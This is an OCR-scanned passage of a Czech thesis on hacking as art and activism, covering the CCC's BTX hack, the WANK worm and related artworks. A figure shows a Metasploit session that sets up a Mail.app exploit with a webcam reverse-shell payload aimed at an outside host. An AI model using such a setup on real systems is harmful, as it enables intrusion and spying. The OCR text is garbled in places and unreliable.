39 Narozdil od tzv. vytaceného pripojeni k internetu které slouzi pouze jako premosténi telefoni sité€ kdy
poskytovatel pripojeni koncovému zafizeni poskytuje pristup do decentralizované sité skrze protokol
TCP/IP.

40 Time-sharing je koncept sdileni vypocetnich zdroji jednoho pocitace mezi vice uZivateli. Vznikl jako
protiklad k davkovému zpracovani tloh, které umoziiovalo odbaveni poZadavki pouze v jasné dané fronté,
coz znemoziovalo pouZiti pocitacCe vice uZzivateli, Casto tedy dochazelo k jeho neefektivnimu vyuziti. Jedna
se o mySlenkovy zaklad systémti z rodiny UNIX, které jsou na soucasné praci uZivatelti — procesti —
zaloZeny. Z dnesniho pohledu je time-sharing kaZdy pocita¢, az na mikrokontrolery typu Arduino apod.

41 [online] https:/www.2600.com/
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Technologické souvislosti

Pro nastinéni technologickych souvislosti uvadim nékolik faktg.
Za prvé — veSkeré intervence jsou zavislé na objeveni ur€itého nepfedpokladaného
chovéni, Ci objevené chybé. Vzhledem k tomu, Ze v sofistikovanych systémech jako
jsou telekomunikacni sité je celkova funkénost zavisla na mnoha vzajemné
komunikujicich ¢astech. Vzdy existuje vétsi ¢i ménsi pravdépodobnost, Ze urcita
kombinace stavi jednotlivych komponent v ¢ase, zplsobu jejich vzajemného
propojeni, a vstupnich dat bude umoziovat vyuZiti v Gtoénik{v prospéch.
Konkrétnimu planu na vyuziti jedné Ci nékolika ,pfilezitosti* se nazyva Attack vector.
V okruhu kyberaktivismu se setkdvame spiSe s méné sofistikovanymi metodami, jako
je zejména vyuziti velmi Spatného zabezpeceni, selhani lidského faktoru, Ci
nekritického pristupu k technologiim jako takovym. ZpUlisoby sofistikovaného Gtoku
jsou vSak v dnesni dobé mnohem jednodussi nez v minulosti, a to pfedevsim diky
institucionalizaci celého procesu, kdy existuji sluzby, kde si Ize jednoduse koupit
nezverejnénou kritickou zranitelnost (tzv. zero-day exploit*?), napf. pro operacéni
systém Windows 7. Tu nasledné atocnik ,doruci“ obéti pomoci volné dostupnych
nastrojli pro penetracni testovani — disciplinu ktera naopak kyberzlo¢in potira. Priklad

takového Gtoku Ize vidét na obrazku ¢. 7.

Ze nastinuji princip sitovych protokoll na nékolika prikladech.

Komunikace mezi dvéma pocitaCovymi systémy je zaloZzena na sadé pravidel, které
nazyvame protokoly. Tyto protokoly existuji v nékolika vrstvach. Jina pravidla plati pro
urceni jak jsou zafizeni fyzicky spojena, jak jsou modulovany elektrické signaly i na
jakém zékladé komunikuji aplikace, které pfenos vyzaduji. V roce 1984 pro tuto sadu
protokol( vznikl standard OSI (schéma na obr. 3), ktery urcil, Ze jednotlivych vrstev

bude sedm. Kazda z nadrazenych vrstev pfimo zavisi na té predchozi.*

42 Zero-day exploit — zranitelnost, jiZ 1ze velmi jednoduse zneuZit, a zéroven dojde k jejimu vefejnému
odhaleni bez soucasného vydani odpovidajici opravy, dochazi tedy k tomu, Ze tuto zranitelnost v ten samy
den vyzkousi mnoho to¢nikd s tim, Ze spravce systému se miize o chybé dozvédét az po jejim zneuziti. Ma
tedy doslova — 0 dni (0 days) na to aby chybu opravil,

43 OSI Reference model implementation - [cit, 2016-09-01] https://www.itu.int/rec/dologin pub.asp?

lang=e&id=T-REC-X.200-199407-1!!PDF-E&type=items
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V pfipadé sluzby WWW se jedna o protokol HTTP je tzv. bezstavovy, tzn. spojeni je
co nejrychleji uzavieno po pfijmuti informace (obr. 4). Oproti tomu existuji i tzv.
stavoveé sluzby, kdy si kazda strana uchovava v jakém stavu-kontextu je prave
oteviené spojeni.

Pfikladem mohou byt sluzby pro pfistup na vzdéleny terminal, napf. telnet, ¢i SSH.
(obr. 5)

Hacking jako umélecka metoda

Hacking Ize chapat jako zplsob prosazeni urcité myslenky nejen na
technologickém zakladé, ale i v kulturnim nebo uméleckém kontextu. MZeme na néj
pohlizet jako na metodu v ramci skupiny aktivistickych pfistupl - tzv. Tacticka
média, coz je pojem z okruhu novych médii, ktery souvisi s obanskym aktivismem a
do jisté miry na ném stavi. Jde o disciplinu, jejizZ modus-operandi neni jasné
ohranien — spojujicim faktorem je tendence nejen se vyjadfit, nybrz i vyvolat urcitou
spoleCenskou zmeénu, Ci odezvu na zakladé interakce s okolim za pomoci vyuZziti
uméleckych postuptd. Miize mit podobu napf. distribuce letakd, intervence do
verejného prostoru pomoci piratské videoprojekce, nebo i hacktivistického pristupu,
kdy vyuzitim nize zmifiovanych postupl dochazi k pfenosu sdéleni podobné jako u
ostatnich uméleckych pristupd.
V pripadé hackingu je taktika zasadnim aspektem dila. Jednotlivé pfistupy z hlediska

zpUsobu prenosu myslenky nyni zmiriuiji.

Intervence

Intervence funguje predevsim jako ofenzivni taktika v{ci jiz existujicimu
objektu ¢i umé&leckému dilu jak ve svété véci, tak v kyberprostoru. Intervenci miizeme
v kontextu uméleckého aktivismu chapat jako zplisob performativni akce, béhem
které dochézi k pozméneni zdrojovych dat, jako v pfipadé nize uvedeného pfikladu
intervence do védecké sité SPAN. Jedna o nejrozsitenéjsi zplsob prace s
kyberprostorem v uméleckém kontextu. Ackoliv se mliZe jevit, Ze kazdy akt operace

nad elektronickou siti je intervence, neni tomu tak.
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Dekonstrukce

Dekonstrukci se rozumi rozloZzeni plvodniho objektu,¢i myslenky na mensi
celky. Julian Oliver napfiklad provadi v ramci performance ,Men in Grey*
dekonstrukci sitového provozu, aby jeho surrogat zobrazil na displeji LCD monitoru a
zaroven prohazuje data mezi uzivateli. Komplexni objekty, jako webové stranky, ¢i e-
mailové zpravy rozklada na pakety, které nasledné upravuje, a nasledné sestavuje v

jiném kontextu uzivateli ktery nebyl plvodnim pfijemcem.

Postprodukce

Pojem definoval Nicolas Bourriard ve svém textu ,Postprodukce” : ,Od
pocatku 90. let 20. stoleti se stale vice a vice umélc( zabyva interpretact,
reprodukovanim, novym vystavovanim ¢i jingym vyuZivanim dél ostatnich umélct
nebo kulturnich produktd, které jsou k dispozici.***, a pokracuje : ,...umélci pracuji s
objekty, které jiZ obihaji na kulturnim trhu, tj. nesou informace, které do nich vioZili
jini lidé.“
Trevor Palgen skrze Autonomy Cube postprodukuje umélecky objekt v galerii,
predevSim Haackeho ,Condensation Cube” do formy skrze internet dostupné
obCanskeé sluzby. Ta se vtéluje do uméleckého artiklu jakoby mimochodem — jde totiz
predevsim o mimikry, jelikoz hlavnim Ukolem je poskytovat sluzbu anonymizace, a to
predevsim tém na ,druhé strané&“ linky — uzivatelim v zemich s opresivnimi pravidly

regulate internetu.

Popis vybranych prikladi
Zloc¢in pana Wau

V poloviné 80. let, jesté pred pfichodem internetu zfidila v tehdejSim SRN
spolkova posta sit pod nazvem Bildschrimtext — zkracené BTX. Jednalo se o vySe
zminénou sit zaloZzenou na pfimém modemovém spojeni s centralou telefoni
spolecnosti. Termindly (obr. 7) se vyrazné rozsifily jak do domacnosti, tak jimi byly
vybaveny i vefejna mista — posty, Ufady, nakupni domy, nadrazi. Zplsob zpoplatnéni
byl stejny jako v pfipadé telefoni sluzby — za ,hovor®, v tomto pfipadé za zobrazenou

stranku. Na verfejnych mistech za mince, doma na ucet. Skutecnost Ze Slo poprvé o

44 Bourriard, 2004, s. 3
45 Bourriard, 2004, s. 3
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takto masivné duplexni*® datovy kandl, nahavala pfesunu mnoha z agend informacni
spolecnosti do této elektronické podoby. Jesté pfed pfichodem této sluzby vznikl v
Hamburku v 1été roku 1981 spolek nadSencd, ktefi se v predtuse toho, jak informacni
technologie proméni Zivoty obycCejnych lidi, zacali zabyvat techno-aktivistickymi
implikacemi takového pocinani. Spolek je do dneska zndm jako Chaos Computer
Club. Jednim ze zjisténi jednoho ze zakladatel(l — Wau Hollanda byl po uvedeni
tohoto systému fakt, Ze uzivatelsky BTX terminal je pouze ochuzenou verzi
termindlu, ktery je pouzivan pro vytvareni obsahu. InZenyfi IBM — dodavatele
systému, si totiz nejspiSe zjednodusili praci tim, Ze oba termindly odliSili pouze tak,
Ze tomu klientskému chybéla dvé tlacitka pro zahajeni a ukonceni editacniho modu,
programoveé vybaveni bylo stejné.

Wau postupneé zjistil, Ze jednoduchou Upravou zevnéjSku klientského zafizeni Ize
dodatecné pridat chybgjici tlaCitka — nebylo tedy nutné ani porusit homologacni
pecet, a vzhledem k centralizaci systému bez jakéhokoliv zabezpeceni, bylo mozné
vytvorit vlastni on-line sluzbu, ¢i pozmeénit sluzbu jiz existujici.

Wau naslednymi experimenty zjistil, Ze v pfipadé nespravného pozmeéneni stranky
Hamburger Sparkasse dojte k preteceni zasobniku*’ které na obrazovku vypiSe
autentizacni kody do systému banky, ktery zadava platby. Toho nasledné se svymi
spolecniky vyuzil k vytvoreni vlastni BTX sluzby, ktera za 9,99 DM uzivateli dovolila
zahrat si hru s vlaCkem sbirajici mince ve tvaru loga spolkové posty (obr. 8), pfiemz
v3ak platbu nestrhavala jemu, ale pravé Hamburger Sparkasse za pomoci
zminénych pristupovych kédu. Pro vétsi efekt mladenci z CCC napsali jednoduchy
program, ktery stale dokola volal Cislo jejich piratské sluzby, a béhem jedné noci se
jim povedlo provést zhruba 13 500 spojeni, coz pfipravilo hamburskou spofitelnu
zhruba o 135 000 zdpadonémeckych marek. Faktem je, Ze skupina nehledala
obohaceni, pouze se snazila poukézat na nekritické nahlizeni na technologii skrze
vyuziti snadno nalezitelnych zranitelnosti, a tak nasledujici den usporadala tiskovou
konferenci, kde ,penize” vefejné vrétila, aby tak vefejnosti demonstrovala,jak
jednoduché je zneuZit takovy systém pod centralni spravou. Skupina byla zprvu sice
povazovana za partnera pfi feSeni problému s BTX, nasledné vSak naopak dostalo

46 Duplexni spojeni — spojeni, pomoci kterého je moZné posilat zpravy obéma sméry po jednom okruhu.

47 Buffer Overflow — jedna ze zakladnich chyb v programovani digitalnich systémd, kterd ma za nasledek
prekroceni pamét'ového prostoru vyhrazeného aplikaci nespravnym odkazovanim na bloky v paméti.
Vysledkem miZe byt ziskani pfistupu k datim z bezprostfedné nasledujiciho pamétového bloku.
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celé uskupeni CCC do konfliktu a bylo vySetfovano podle teroristického paragrafu.
Pripad ve vysledku ,vySumél do ztracena“ kvdli nejistoté, zda CCC opravdu kody
odposlechlo pfimo ze systému banky, Ci je ziskali jinou cestou. Hra s vlackem byla v
tomto pfib&hu ironickym nastrojem kritiky centralizovanych informacnich systém( 80.
let. Nejednalo se sice zdaleka o prvni pfipad kradeze penéz skrze elektronicky
systém, udalost nicméné rozhybala debatu o zranitelnosti nové vznikajicich vefejné
pfistupnych informacnich systém( a nutnosti dat jejich zabezpeceni urcity legalni
ramec. Ve vysledku by se dalo fici, Ze CCC udélalo hackerskému hnuti urcitou
medvédi sluZbu, protoZe i v nadvaznosti na tuto udalost ( nutno podotkout, Ze nejen
na ni ) doslo v NSR k vytvoreni §263a StGB*® , které podobna vniknuti, i se snahou
poukazat na Spatné zabezpeceni, postihuje odnétim svobody az na 5 let. Podobny
zakon vznikl v roce 1984 i v USA, tzv. CFAA* - zakon velmi kontroverzni zejména z
dlvodu, Ze kriminalizoval hackery i v pfipadé, Ze vniknutim do systému nevznikla
hmotnéa Skoda a neexistovaly Zadné obéti. Nezfidka jim byl vyméren trest odnéti
phreakera, ktery se na pfelomu 80. a 90. let prolamoval do nejriiznéjsich systémi v
privatnim i vefejném sektoru. Jeho motivaci nebyl nicméné ani zisk Ci politicky
statement, ale dle jeho vlastnich slov - obsese a aktem prolamovani systéma. Mitnick
se po seériich her na koCku a myS$ dostal na Uték a pfed FBI se Uspésné nékolik let
skryval pod ukradenou identitou. Po jeho dopadeni statni zastupce presvédcil velkou
porotu, Ze je Kevin Mitnick hrozbou pro narodni bezpe€nost a dokazal by se v
pritomnosti telefonu doslova ,propiskat” az k systému pro odpalovani jadernych
hlavic. Ta mu ulozila Ctyflety trest v oddélené cele a 5 let zakazu pouzivat jakékoliv

elektronické komunikacéni sité.

Cerv WANK

17. Rijna 1989 mé&l byt v NASA velky den. Dlouho pfipravovana a uz dvakrat
odloZena sonda Galileo méla v ramci mise STS-34 odstartovat na palubé
raketoplanu Atlantis, ktery ji mél vynést na obéznou drahu Zemeé aby se nasledné
vydala smérem k Jupiteru jako prvni sonda, ktera se usadi na jeho ob&zné draze a

nasledné na planeté pfistane. Vzhledem ke vzdélenosti a nepfiznivym podminkam,

48 Deutsches Strafgesetzbuch [cit. 2016-09-01]

http://www.gesetze-im-internet.de/englisch stgb/englisch stgb.html#p2187
49 Computer Fraud and Abuse Act — [cit. 2016-09-01] https://www.law.cornell.edu/uscode/text/18/1030

25


https://www.law.cornell.edu/uscode/text/18/1030
http://www.gesetze-im-internet.de/englisch_stgb/englisch_stgb.html#p2187

které na planeté panuiji, bylo rozhodnuto o pouZiti zdroje energie zaloZzeném na
tepelném rozpadu radioaktivniho izotopu plutonia®®. To vyvolalo v ¢asti spole¢nosti
znacné znepokojeni, vzhledem k tomu, Ze se jednalo o prvni misi raketoplanu po
havarii Challengeru, a zaroven ke zkuSenostem se sanaci havarie ruského
vojenského satelitu Cosmos 954 na nuklearni pohon v roce 1978, kdy doslo k
rozplyleni radioaktivniho materialu na plose 124.000 km? — Gzemi které zhruba
odpovida rozloze Severni Koreje. Na mysu Caneveral byla situace vyostfena.
Odpurci dokonce uspéli se zalobou na neustavnost u obvodniho soudu, ktery ale
start pét dni pfedem povolil. To nicméné nezabranilo mnoha protestiim ve dnech

pred startem.

Stejného dne rano tymy védcd, tj. uzivatele prvni celosvétové védecké pocitacové
sité SPAN velmi pfekvapilo, kdyZ se jim pfi zapinani vlastniho pocitace od firmy
Digital Equipment Corporation zobrazil misto uvitaci obrazovky matefské organizace
podivny ASCll-art™ :

WORMS AGAINST NUCLEAR KILLERS

N -
\\\ /N 7/ /AN NN | LV 77 7
NN\ /N /7 /7 /_NN\ LINN L1777/
\\N\/ AN/ \ [N\ | [N 7
L\ / /NN N ] ] TN\

/
\ /

\ Your System Has Been Officially WANKed /
\ /

You talk of times of peace for all, and then prepare for war.

Nejednalo se nicméné o zadny Zert mistniho administratora, nybrz o prvni virus, ktery
napadl distribuovanou pocitacovou sit. Virus je nepfesné oznaceni, ve skuteCnosti
Slo o ¢erva (worm), oznaceni které ma svdj plivod pravé v tomto incidentu.

VyznacCuje se tim, Ze se nezadrzitelné Sifi po pocitacoveé siti a pouZziva jednu z

kritickych zranitelnosti (tzv. zero-day exploit).

Za Cervem podle dostupnych informaci stal jediny hacker s pfezdivkou Mendax,
jehoZz identita neni znama, spekuluje se ale o Jullianu Assangovi, zakladateli serveru
WikiLeaks®!. Akt samotny mél upozornit na zminénou nuklearni hrozbu souvisejici s

vypusténim samotné druZice, a ha obecné zavody ve zbrojeni. Kli€em k odhaleni

50 ASClII-art je samostatnou disciplinou v oboru pocitacového uméni ktery jako své vyjadrovaci prostfedky
pouziva paletu 128 platnych znakti v tabulce ASCII — zkratka pro American Standard Code for Information
Interchange.

51 Udalosti v Assangové Zivotopisu koreluji s témi popsanymi v knize Underground viz. Dreyfuss, 1997
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motivu byl fakt, Ze virus nenapadal jen jedinou oblast v siti DecNET. Jediny adresni
prostor 43 nebyl napaden. Jednalo se o Novy Zéland, ktery je tzv. Nuclear-free

zOnou.

Cerv byl naprogramovan tak, aby se na zakladé zjist&nych okolnosti a nasbiranych
dat sdm modifikoval. Navic kazdéa jeho iterace se chovala mirné jinak. Nékteré z nich
predstiraly mazani soubor(, jejich vzajemné prepisovani, apod. cozZ astrofyziky. Virus
se podafrilo dostat po nékolika tydnech pod kontrolu diky nalezeni zplsobu jak ho
odzbraoijit. | kdyz reélné Skody virus nepachal, piSe se o nékolika tisicich
,promrhanych* badatelskych hodinach. Rada védcti nemohla provadét vyzkumné
Ukoly. Tento Cerv tézil predevsim z tehdejSiho velmi Spatného zabezpedeni systéml
od firmy Digital Equipment Corporation, ktera nechavala poc¢ita¢im dodanym do

vefejného sektoru obecné znamé administratorské Ucty se stejnym heslem.

Virus za plexisklem

Dvojice Eva and Franco Mattes vytvorila pro Venice Biennale 2001 instalaci s
nazvem bienale.py. Nazev dila je soucasné nazvem pocitacového programu, ktery
dilo definuje, a ktery nedéla nic jiného nez se nekone¢né mnoZzi. Virus - instalace se
sklada ze dvou pocitact (obr. 9), kazdy ve svém obdelnikovém plexiboxu s
obrazovkou v opacném smeéru. Tyto pocitaCe stfidaveé navzajem infikuji jeden
druhého virem a nasledné se |€Ci. Vznika tedy nekonecny cyklus, na ktery se skrze
obrazovku LCD displaye divAme podobné jako na ledniho medvéda za plexisklem v
Z00, snaziciho se stéle dokola vySplhat na strmy Gtes. Autofi béhem verniséze
rozdali nékolik desitek kompaktnich disk( infikovanych timto ,virem*, aby se
infikovany soubor posléze rozsifil pres internet do miliond poéitacd po celém svété.
Vzniklo tak globalni distribuované umeélecké dilo, jehoz soucasti byla kazda
nakazena obét. Dilo zaroven vyvolalo hysterickou reakci médii, kterou Ize chapat
jako pretvoreni plivodniho dila v neo¢ekavanou celosvétovou performanci. Eva
Mattes na otazku jaka byla motivace k celosvétovému rozsifeni viru opovédéla :
,Jako umélec citim, Ze jedinou zodpovédnost kterou mam, je byt nezodpvédna“*2.
Symantec — pfedni antivirova spole€nost oznacila ve svych definicich “bienale.py” za
virus, pficemz na vSech pocitacich, kde byl antivir instalovan, doSlo k nasledovnému

automatickému odstranéni.

52 [cit. 2016-08-31] http://rhizome.org/art/artbase/artwork/biennalepy/
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Muzi v Sedém

Jullian Oliver je jednim z autor(, jehoZ dila se zaméruji na kritiku
technologické podstaty soucasné civilizace. Dokumentace k performanci s nazvem
“Men in Grey“ na sebe bere podobu fiktivniho standardiza¢niho IETF** dokumentu,
RFC14 ,Manifestace sitové Uzkosti“. Performance spociva v pohybu dvou do Seda
oddénych muzi s kuffiky ve vefejném prostoru, predevsim po kavarnach a mistech,
kde se setkavaji lidé, pfipominajici agenty blize neurCené statni organizace.
Podstata performance lezi ve zminénych kufficich (obr. 10), jejihZ obsahem bylo
zarfizeni na dissekci sitového Wi-Fi provozu, a LCD dispeje zapusténého do téla
kuffiku tak, aby kolemjdouci vidél co se na displeji déje. Zafizeni odposlouchévalo
provoz na verejnych Wi-Fi sitich a obsahy osobnich zprav, napf. e-mailu, chat(, ale i
¢lankd, které zrovna navstévnici kavarny Cetli a zobrazoval je na zminéném LCD
displeji. Zaroven se i aktivné zapojoval do komunikace tak, Ze data jednotlivych
pfipojenych zafizeni prohazoval mezi sebou, lidé tedy najednou vidéli misto “své*
komunikace, tu, ktera patfila tomu u vedlejSiho stolu. Men in Grey tim upozornovali
na faleSny pocit soukromi v kyberprostoru. Zaroven Sifili nejistotu mezi
kolemjdoucimi pravé tim, Ze si nikdy nemohou byt jisti, kdo je ,sleduje” béhem
komunikace. V dnesni dobé, zejména po zverejneni informaci o masovém sledovani
ze strany tajnych sluzeb zapadnich zemi, doslo ke skokovému narlistu pouziti
zabezpeceného spojeni na webu®*. Je tedy otazkou, zdali by podobna performance v
dnesni dobé vyvolala stejny ohlas. Faktem je, Ze performance byla ocenéna

zvlaStnim uznanim poroty festivalu Ars Electronica v roce 2010.

Autonomy cube
Trevor Palgen se dlouhodobé zabyva problémem nelegélniho masového
sbéru dat o uzivatelich internetu pro vladni Ucely. Zejména v souvislosti s odhalenim

programu PRISM, ktery provozuje americka NSA za Uucelem ulozeni nékolika dni

53 IETF - Internet Engineering Task Force, vybor zajistujici standardizacni proces jednotlivych sitovych
technologii v podobé tzv. RFC — Request For Comments dokumentd, které kazdy definuji jeden standard.
Nejedna se nicmméné o téleso které dodrZzovani standardi vymaha.

54 ZabezpeCenym spojenim se mysli pfedevsim HTTPS — varianta HTTP protokolu za pouZiti zpiisobu
zapouzdreni do Sifrovaného prenosu realizovaného pomoci protokolu SSL (Secure Socket Layers), ¢i novéji
TLS (Transport Level Security). Oba dva zpisobe se 1isi tirovni na které Sifrovani probihd. TLS je protokol
snaze prolomitelné, zejména vzhledem k faktu Ze vrstva musi kromé Sifrovani pojmout i vrstvu vyssi jako
“naklad*“
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celosvétového internetoveého provozu do vlastniho ,bufferu”, v kterém Ize vyhledavat
chovani kazdého uzivatele dle libosti. Jeho prace Autonomy cube artikuluje tento
problém umisténim jednoho z vystupnich a vstupnich bod( do anonymizaéni sité
TOR do galerie — white boxu, v podobé mixed-media objektu v podobé umisténi
jednodeskového pocitace spolu s Wi-Fi pfistupovym bodem do epoxidové prihledné
kostky (obr.11). Ta mdze pfipominat ,Condensation cube“ Hanse Haackeho.
Umisténim na piedestal se ze zafizeni pro boj s cenzurou stava interaktivni
umélecké dilo, které slouzi navstévniklim jako nastroj pro svobodny pfistup do
internetu skrze vytvorenou Wi-Fi sit. Zaroven komukoli, kdo do internetu pfistupuje z
druhé strany skrze tento exit-node dava imunitu tim, Ze v internetu vystupuje pod
identitou (IP adresou) instituce, v které je Autonomy cube umisténa. Palgen tak
pouziva taktiku obaleni aktivistického aktu do institucialni kritiky metod masového

sledovani - pfedevsim v USA.

QUANTUMSQUIRREL

Pokud je fe€ o NSA, rad bych zde zminil aspekt tykajici se této organizace,
ktera z podstaty jejiho fungovani a mise, je entitou, tvofenou pfedevsim white-hat
hackery. Mise NSA sice ma od hacktivismu daleko, nicméné vizualita jednoho
elementu z uniklych dokumentd (obr. 14-15), které se dostaly v roce 2013 na
verejnost, jisté zaujala nejednoho hackera. Jde o dokumenty, které NSA pouziva pro
Skoleni o tajnych programech, ur€enych pravé pro masové sledovani. Napr. tajny
program QUANTUMSQUIRREL zneuziva zplsobu fungovani protokolu TCP/IP tak,
Ze doslova ,zavodi s Casem" o to, jaky proud dat pfi stahovani z internetu se k obéti
dostane dfive — ten plvodni, pravy, ¢i ten podvrhnuty, upraveny dle prani NSA.
Jejich soucasti jsou Casto internetové memy® pfimo ¢i nepfimo parodujici snahu
ostatnich zemi o kybernetickou bezpecnost. PouZivaji formu vysmivani se ,hloupym
uzivatellm* jako ,ovcim*“ které Ziji v najivni predstavé soukromi a bezpeci na sitich.
Tento fakt hackerské komunité osvétlil, Ze i v Gtrobach tajnlstkarské organizace jsou

skupiny, které maji evidentné smysl pro ¢erny humor.

55 Internetovy mem je aktivita, koncept, ¢i kus média které se. predevsim jako forma mimikry, viralné Sifi.
Viz Wikipedia [cit. 2016-09-01] https://en.wikipedia.org/wiki/Internet_meme
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Anonymous

Jeden z pilitG hnuti Anonymous je zaloZen na pfedpokladu, ze hacking neni
pro kazdého, nebot je tfeba znat technologii, trendy, zranitelnost a komunitu. Znacka
Anonymous vyvraci pfedpoklad tim, Ze vytvari zdanlivé celosvétové homogenni hnuti
funguijici jako kolektiv jedincli — avatar(l - bez centralni autority, fizeny pouze tim co si
spolecenstvi demokraticky odsouhlasi. Pro vykonavani tkolll zpravidla existuje sada
jednoduchych nastrojl, které zvladne pouzit kazdy uzivatel internetu (obr. 16). Tyto
nastroje nezfidka funguji na principu nulové interakce, tedy Ze je uZivatel na svém
pocitaCi spusti a program se pripoji do celosvétového ,ulu” ,z kterého pfijma prikazy.
UZivatel ze sebe — svého pocitace — vytvori dobrovolné soucast fizeného botnetu®,
tim provede identifikaci s hnutim Anonymous.Tim mdze byt zaroveri kazdy a nikdo.
Dilezitym prostfedkem prezentace jsou pamflety, distribuované klasickou a
predevsim elektronickou cestou po socialnich sitich. Jejich vizualita paroduje rtizné

symboly a ikonografii nadnarodnich instituci apod. (obr. 17-18)

Electronic Intifada

Na Anonymous navazuje specifické hnuti, které |ze souhrnné pojmenovat jako
~Electronic Intifada“. Jde o ndzev odkazujici k sérii povstani v Palesting, které v
nékolika vinach celospolecensky aktivizovalo jeji obyvatele. V tomto konkrétnim
podani se jedna o povstani elektronické, s cilem zabirani pfedevSim internetového
izraelského ,prostoru®. Jsou pouzivany jak nastroje nizkoprahoveho aktivismu
prostfednictvim informovani v rdmci vlastni medialni sluzby®’, socialnich siti a
bloggingu, tak i skrze hacking, ¢i znetvofeni — defacment — webovych portal(
souvisejicich s izraelskymi zajmy (obr. 19). Nejedna se o homogenni hnuti, spiSe o
distribuovanou myslenku, ve jménu které rlizné skupiny s rliznymi zajmy prezentuji

Své postoje.

56 Botnet — Sit’ virem nakazenych pocitact, které jsou titocnikem vzdéalené ovladany pro rizné vyuziti jako
jsou DDoS utoky, ¢i rozesilani spamu nebo podvodnych e-mailt.
57 Webova prezentace http://www.electronicintifada.net
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Zavér

V préci jsem se snaZil predstavit fenomén hackingu v historickém kontextu jako
disciplinu v rozmanitych podobéach. Vychodiska i impulzy jsou réiznorodé, od
hackingu jako utilitarni metody, pfes hacking jako zplsob chapani svéta, po hacking
jako metodu umélecké prace. Velkou vyhodou bylo, Ze se jedn& o velmi dobfe
zdokumentovany aspekt technologického byti a innosti ¢lovéka. Z podstaty a
povahy tohoto fenoménu vSak plyne, Ze jsou tyto zdroje informaci ¢asto v
neakademické formé textu. Problémem je téZ nedostatek zdrojl o hackerstvi jako
,umelecké formé" a aktivisticky hacking jako forma uméni. Moje préace je tedy jen
malym pfispévkem k odhaleni této specifické formy umeéleckého vyjadreni.

Vzdy kdyZ se budeme zabyvat technicistnim tématem, neexistuje kompletni vyklad z
jednoho zdroje. Systémy jsou vzajemné propojeny, a to jak fyzicky, sitové tak
historicky. Ani moje prace si tak nedava za cil slouzit jako kompletni priivodce
intervenci v kyberprostoru. Jedna se spiSe o urcity subjektivni prdfez milniky,
definicemi a pfistupy, ktery, dle mého nazoru mdze slouzit jako material pro uvedeni
do problematiky hackingu, a pro jeho rdmovani jako umélecké discipliny skrze
vybrané pfiklady. Vzhledem k tomu, Ze ¢erpam pfedevsim ze svych praktickych
zku$enosti, uvedl jsem nastin technicistnich postupt poc¢atkl hackingu a pokusil se

uveést do vztahu se souCasnym hnutim.
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Obrazova priloha
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Directory services » Network management SMTP
Syntax layer encrypt & decrypt (if needed)
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Data Link (2) Frames (“envelopes®, contains MAC address) ::2';: pestel
Provide [NIC card — Switch— NIC card] (end to end|
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s e ekl | rreur

ift

Physical structure Cables, hubs, etc. Hub
Data Encading - Physical medium atiachment -
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Physical medium transmission Bits & Volts

Obr. 4: Zachycuje vrstveni jednotlivych protokolil na sebe

a jejich vzajemny vztah. Obr. 3: Obdlka ¢asopisu 2600,
hackerského ctvrtletniku zaloZzeného v
druhé poloviné 80. let.

33



b4 ,3% curl -kwww httpidinix,cz
Rebuilt URL toi httpidinix,czs
Trying 199,47,235.3,..
Comnected to nix,cz (195,47,235,3) port 80 (#0)
GET / HTTP/1,1
Hozt: nix,cz
Uzer—Agent: curls7, 47,1
Accepty *%

HTTPA1,1 301 Howed Permanently

Date: Sat, 27 Aug 2016 23:22+44 GHT
Server: Apache

Location: https:S A, nix, oz’
Cantent-Length: 283

Cantent-Tupe: text html: charset=i=so-2359-1

ITOCTYPE HTML PUBLIC "-//IETF#<DTD HTHML 2,0//EN">
html<head>

titlex30l Moved Permanentlyd/titler

Sheadi<body>

hlxMoved Permanent ly< hlx

prThe document. haz moved <a href="httpz:/Auu,nix, oz rheressar, < pr
b

addressxApache Server at nix,cz Port 80</address>
Sbody><shtml >

Connection #0 to host nix,cz left intact

h-4,3%

Obr. 6: BTX termindl

CHAOS-Movie presents

br. 5: Vypis pozadavku na WWW strdnku pomoci
protokolu HTTP a vysledna odpoved.

h-4,3% =zh sdf.org
elcome to the SDF Public Access UMIX system, (est, 1987)

or quick help, type 'help’

or detailed questions and anzwers, type 'faq'

or uzer discussion boards and software requests, type 'bboard'
ar interactive discuszionz. type 'com'

o zetup your homepage. type 'mkhomepg’

o create your URL http:ddlzde,freeshell,org, tupe 'mkhomepg -a'

xplare and Enjoy!

LK drwe———— 4 lsde users BI1ZB Aug 27 23:39 .
28K druxr—xr—x 1489 new  wheel 28K Aug 27 15:36 .,
1 lsde users 12B Jul 14 23:01 ,bash_hiztory
1 lzde users 8.1k Jul 10 15302 ,history
1 lsde users 0B Aug 27 23:32 ,hushlogin
R T e 1 lzde users 2.8k Jul 10 1E:48 ,profile
1 lade users BOB Jul 10 14:08 ,=zignature
2 lzde uzers B512B Jul 14 23:06 ,=sh
2 lsde users 512B Jul 14 23116 Hail
LM —ry—p——r— 1 lsde wusers 1,5M Jul 16 18:17 irs==i-0,8,19,tar,.qz
Connection to sdf,org closed,
h-4,2% I

Obr. 8: Vypis komunikace pri pripojeni pomoci protokolu
SSH a ndsledné vypsdni obsahu vzddleného adresdre.

=3
= -
E = :: AT &
I : ; 5 ; - i e S
. . - , Uppercase — ¢ S$30avB@ | ) 201457 216 1%1@’{
Obr. 7: Stills ze hry a vysledné Lowsrcase — ABCDEFGH | JKLMNOPOGRETUVWXY2ZSESER
skore vyjadreno v Q0 000 00 0 0 0 0000 0O
deadonémeckych markéch Fead holes —s ?&uooanooano?oa n?ou n?o?a Goos no?n?o?anooa?nonanooanooon?o?o?oe
* (w ] D o0 O (sl m] o0 0O DO o0 (] o
Do (n ] ] (nlw) (s uln L ] [ = o OO
(e o0 o0 000 o 00000 (w e

Obr. 9: Schéma kédovani informaci do dérné pasky

34



[root@ip-172-31-26-162 ec?-user]# docker attach meta_metasploit_1
msf exploit(mailapp_image_exec) > use exploit/osx/email/mailapp_image_exec
msf exploit(mailapp_image_exec) > set MAILFROM lsde@lsde,org
HAILFROM => lsdeRlsde. org

msf exploit(mailapp_image_exec) > set MAILTO milosBskolska28,cz
MAILTO => milos@skolska28,cz

msf exploit{mailapp_image_exec) > set SUBJECT bakala w2

SUBJECT => bakala w2

msf exploit(mailapp_image_exec) > set RHOST 172,17,0,1

RHOST => 172,17,0,1

msf exploit{mailapp_image_exec) > target 1

[-] Unknown command: target.

usf exploit(mailapp_image_exec) > set target 1

msf exploit{mailapp_image_exec) > set payload osx/x86/isight/reverse_tcp
payload => osx/x86/isight/reverse_tcp

msf exploit{mailapp_image_exec) > set LHOST 52,57.0.44

LHOST => 52.57.0,44

msf expluil.(lailq)p_ilm_enx:) > 1

